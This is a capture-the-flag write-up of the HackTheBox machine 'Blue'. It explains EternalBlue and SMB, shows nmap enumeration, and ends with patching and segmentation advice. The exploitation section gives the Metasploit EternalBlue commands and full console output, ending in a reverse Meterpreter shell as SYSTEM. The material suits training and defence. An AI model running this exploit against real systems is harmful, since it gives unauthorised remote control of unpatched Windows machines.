Background

Just from the name alone, anyone with prior experience in cyber security likely already knows the exploit in this machine. At the time of writing, Blue is the most hacked box on HTB and it is graded as easy although it’s more likely Super Easy.

The exploit, EternalBlue, is amazing, just regarding it’s history alone. Not to mention, it is dreadfully simple to exploit and it gives you remote code execution on the target as NT Authority System. It became very well known after being used in the WannaCry ransomware attacks which were prevalent in 2017, almost a decade ago. Additionally, it is suggested that the NSA knew about the vulnerability for up to 5 years before it became publicly known. They only revealed their knowledge of it after the hacking group known as Shadow Brokers exposed the NSA’s hacking toolkit catalog. Although, it’s almost entirely speculation because the NSA won’t ever discuss it.

The exploit ultimately abuses a buffer overflow in the Server Message Block protocol. In simplest terms, SMB is the protocol that Windows machines use for “Sharing” folders and files. For example, if you mount an E: drive using a UNC path for \\10.10.10.10\some_share, that’s using SMB behind the scenes. It’s almost guaranteed to be found in a Windows network and almost always an open port. Linux introduced it’s own implementation of SMB known as Samba, and although it used the same protocol, it is not affected by EternalBlue specifically. However, the SMB protocol versions have suffered critical vulnerabilities time after time and Samba has seen similar attacks, but none as notorious.

According to Kaspersky’s research, https://www.kaspersky.com/resource-center/threats/ransomware-wannacry, almost 230,000 machines were affect by WannaCry ransomware. That’s a huge number of affected machines, even back in 2017. It actually pales in comparison to the mistake made by Crowdstrike in 2024, where a patch to one of their services brought down potentially 8.5 million Windows devices, https://www.georgetown.edu/news/ask-a-professor-crowdstrike-outage/ .

I’m a huge fan of the Rust programming language for several reasons, but the one everyone is likely familiar with Rust for is that it claims to protect against memory vulnerabilities. It’s not impossible, because a developer can use unsafe Rust and foreign function interfaces (FFI) to call out to unsafe code. Despite these edge cases, the Rust compiler does a phenomenal job at preventing developers introducing memory exploit vulnerabilities such as use-after-free, double free, uninitialized memory access, and more. I’m very excited that both the Windows and Linux kernels are beginning to introduce Rust built modules. It is not a bullet-proof solution to memory vulnerabilities, but it is a great layer of security to add to your business’ defense in depth strategy. Maybe future versions of the SMB protocol will be implemented in Rust in both Linux and Windows and it’s memory attack surface will be reduced.

Enumeration

To start with, we can run an nmap scan:

Nmap scan report for 10.129.221.131
Host is up (0.11s latency).
Not shown: 65526 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49156/tcp open  msrpc        Microsoft Windows RPC
49157/tcp open  msrpc        Microsoft Windows RPC
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-os-discovery:
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: haris-PC
|   NetBIOS computer name: HARIS-PC\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2024-07-27T04:15:26+01:00
|_clock-skew: mean: -18m46s, deviation: 34m35s, median: 1m11s
| smb2-security-mode:
|   2:1:0:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2024-07-27T03:15:25
|_  start_date: 2024-07-27T02:43:17
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)

Anything port above 49000 in the report are just RPC ports and most of the time these can be ignored. Port 135 is also an RPC port but you can think of it as the port that is interrogated by services looking to perform RPC and needing to discover which services are available and which higher port they need to communicate with to do their tasks. This goes hand in hand with the ports above 49000.

Port 139 is for NBT-NS which is how Windows systems do name resolution without a DNS. It is often used as a fallback when DNS is unavailable but it’s also just on by default and used in home networks. Not particularly useful on it’s own besides an indicator that the machine is running Windows.

Port 445 is the SMB port which is used by nmap for service detection. The default nmap scripts can use this to determine the operating system version of Windows 7 professional with service pack 1. Highly likely exploitable by EternalBlue, MS-017-010.

Exploiting EternalBlue

There are dozens of PoCs out there on GitHub and Source Forge (the shit hole) but the most reliable are the versions available on Metasploit. Due to the nature of the buffer exploit, it is incredibly easy to crash the target machine, or just kill the SMB service. In reality, I won’t exploit this in a real penetration test without express permission from the client and forewarning. Crashing a real machine in production is a no-go. In the case where it is expressly allowed, I’d use the Metasploit module for EternalBlue with the correct target set, and not let it try to guess the target on it’s own. Be accurate with an attack like this. For HTB, it’s fine to play with and just let it do it’s thing, but it should be considered in a real penetration test.

In Metasploit, it’s ridiculously easy to configure:

use windows/smb/ms17_010_eternalblue
set RHOSTS <target>
run

You don’t even need to specify the target in this instance, the module will discover it and automatically use the correct target. After a few seconds, you will get a shell back:

[*] Started reverse TCP handler on 10.10.14.55:4444
[*] 10.129.221.131:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.129.221.131:445    - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.129.221.131:445    - Scanned 1 of 1 hosts (100% complete)
[+] 10.129.221.131:445 - The target is vulnerable.
[*] 10.129.221.131:445 - Connecting to target for exploitation.
[+] 10.129.221.131:445 - Connection established for exploitation.
[+] 10.129.221.131:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.129.221.131:445 - CORE raw buffer dump (42 bytes)
[*] 10.129.221.131:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.129.221.131:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.129.221.131:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1
[+] 10.129.221.131:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.129.221.131:445 - Trying exploit with 12 Groom Allocations.
[*] 10.129.221.131:445 - Sending all but last fragment of exploit packet
[*] 10.129.221.131:445 - Starting non-paged pool grooming
[+] 10.129.221.131:445 - Sending SMBv2 buffers
[+] 10.129.221.131:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.129.221.131:445 - Sending final SMBv2 buffers.
[*] 10.129.221.131:445 - Sending last fragment of exploit packet!
[*] 10.129.221.131:445 - Receiving response from exploit packet
[+] 10.129.221.131:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.129.221.131:445 - Sending egg to corrupted connection.
[*] 10.129.221.131:445 - Triggering free of corrupted buffer.
[*] Sending stage (201798 bytes) to 10.129.221.131
[*] Meterpreter session 1 opened (10.10.14.55:4444 -> 10.129.221.131:49158) at 2024-07-27 13:14:19 +1000
[+] 10.129.221.131:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.129.221.131:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.129.221.131:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter > sysinfo
Computer        : HARIS-PC
OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_GB
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x64/windows
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >

Immediate RCE as NT Authority System gives me spine chills. Almost no effort expended to crack this machine. nmap then metasploit and full control of the target.

The best remediation for EternalBlue is patching. Given the criticality of the risk, there’s not much alternative to just patching the system and avoiding the risk altogether. In the rare case when a client is running a vulnerable version and cannot patch, the defense in depth must be followed and mitigations put in place such as placing the vulnerable machine in a protected subnet and using an IDS/IPS device to monitor and protect the traffic to and from the vulnerable host/s.